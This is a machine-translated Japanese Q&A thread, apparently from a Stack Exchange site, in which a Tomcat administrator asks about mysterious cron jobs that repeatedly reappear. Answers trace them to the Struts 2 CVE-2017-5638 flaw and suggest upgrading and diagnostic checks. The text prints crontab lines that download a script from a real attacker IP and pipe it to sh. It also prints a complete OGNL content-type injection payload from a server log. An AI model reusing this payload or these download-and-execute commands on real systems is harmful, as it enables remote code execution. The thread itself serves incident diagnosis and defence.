不明な起源のcronを介したApacheサーバーへのシェルスクリプト攻撃


8

Apache tomcatサーバーでプロジェクト戦争を実行しているときに、サーバーが危険にさらされていることがわかりました。

未知の世界で戦争をしている間、cronこんな風に走っています

[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

ダウンロードは、logo.jpgマルウェアをダウンロードされたシェルスクリプトを持っています。

以下のこのウェブサイトで同様の問題を見つけました

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

そして

/security/160068/kworker34-malware-on-linux

私のコード全体でこのcronスケジューラの起源を見つけることができません。

誰かがこの問題に直面していることを知りたいのですか?コードでスケジューラの起源を見つけるにはどうすればよいですか。

注意:

JAVA(Struts 2)+ jsp + javascript + jquery Webプロジェクトに取り組んでいます。

このスケジューラは、プロジェクトのwarファイルでTomcatを起動するたびに実行されますが、コード内にスケジューラのスケジューラを見つけることができません。

ログファイルで次の行を見つけました

[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
                content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
                (#_memberAccess?(#_memberAccess=#dm):
                ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
                (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
                (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
                (#context.setMemberAccess(#dm)))).
                (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
                (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
                (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
                (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
                (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
                (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
    at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
    at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
    at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
    at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult 

デフォルトのTomcatログインを変更し、host-managerを無効にしましたか?

これらの2つのcrontabエントリ(cronジョブ)の起源か、それともcronスケジューラ(またcronデーモン)の起源ですか?Javaアプリケーション(などRuntime.getRuntime().exec("something"))からプロセスまたはシェルスクリプトを生成しますか?プロジェクトへのリンクはありますか?
Jan Zerebecki 2017年

感染したJavaアプリなしでTomcatを起動すると、cronが有効になりますか?

どのようにtomcatを始めていますか?アプリをどのように展開していますか?(GUI、スクリプト、または.warファイルをWebアプリケーションにコピーするだけですか?

アプリケーションのログを追加しましたので、ご覧ください。この問題に関してご不明な点がございましたら、お気軽にお問い合わせください。

回答:


4

OPがログを追加した後、Struts 2(CVE-2017-5638)のリモートコード実行エクスプロイトに問題があることが明らかになりました。

いくつかの追加リンク:

  1. 新しいStruts2 Remote Code Executionエクスプロイトが実在します。
  2. CVE-2017-5638-Apache Struts2 S2-045

解決策は、Strutsをバージョン2.3.32または2.5.10.1にアップグレードすることです。


回答ありがとうございます。'logo.jpg 'や'91 .230.47.40'などのキーワードがないか、コードを確認しました。アプリケーションのログを追加しましたので、ご覧ください。この問題に関して考えられることは何でもお気軽にお知らせください。

2

以前にシステム管理者だったときも、同様の問題に直面しました。TomcatサーバーなのかJavaアプリケーションなのか区別する必要があると思います。

「感染したJavaアプリ」なしでTomcatを起動すると、cronが有効になりますか?つまり、Tomcatからアプリケーションを削除して起動します)もしそうなら、より大きな問題がある場合、起動スクリプトと、Tomcatサーバーにデプロイされているすべてのアプリケーションを確認する必要があります。

それ以外の場合は、アプリに問題があると確信しています。

その場合は、以下にアクセスしてください。

$CATALINA_BASE/webapps/your_app 

アプリケーションの整合性を確認します。認識できない追加のファイルはありますか?

次に、tomcatインストールのwebappsディレクトリに移動します。

$CATALINA_BASE/webapps/

そのディレクトリで以下を実行します。

grep -R '91.230.47.40' *

感染の原因となる可能性のあるファイル/コード行を見つけるには、アプリのファイルまたは新しいファイルである可能性があります。

あなたのコードはCSVシステムにありますか?

CSVリポジトリから感染したサーバーの外部にwarファイルを作成し、次のようにします。

md5sum your_app.war

Tomcatサーバーからアプリケーションを削除して再デプロイし、md5を介して正しいwarをアップロードしていることを確認してから、crontabが呼び出されているかどうかを確認します。

この手順についてフィードバックをお寄せいただければ、喜んでお手伝いいたします。


1
'logo.jpg'や'91 .230.47.40 'などのキーワードのコードをすでに確認しましたが、そこにはありませんが、問題はTomcatではなくアプリケーションにあります。アプリケーションのログを追加しましたので、ご覧ください。この問題に関して考えられることは何でもお気軽にお知らせください。

2

サーバーでこの種の攻撃を撃退する必要があり、前述のようにTomcatユーザーのcrontabの上書きを再開し続けました。IPアドレスは同一でした。IPアドレスのwebappsディレクトリ全体のGrepは原因を明らかにしませんでした。

今回のケースでは、Strutsを使用していませんが、webappsに「host-manager」および「manager」アプリがあり、JMXが有効/ポートが開いています。それらなしで再起動することで解決したようですので、私の直感は、脆弱性がそれらの1つにある可能性があることです。具体的には、7.0.73で修正されたJMXの脆弱性が原因である可能性があります(https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.73)。

現在行っているもう1つの予防策は、wgetおよびchmodへのアクセスをrootのみに制限することです(これらのバイナリでchmod 770を実行するだけです)。

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.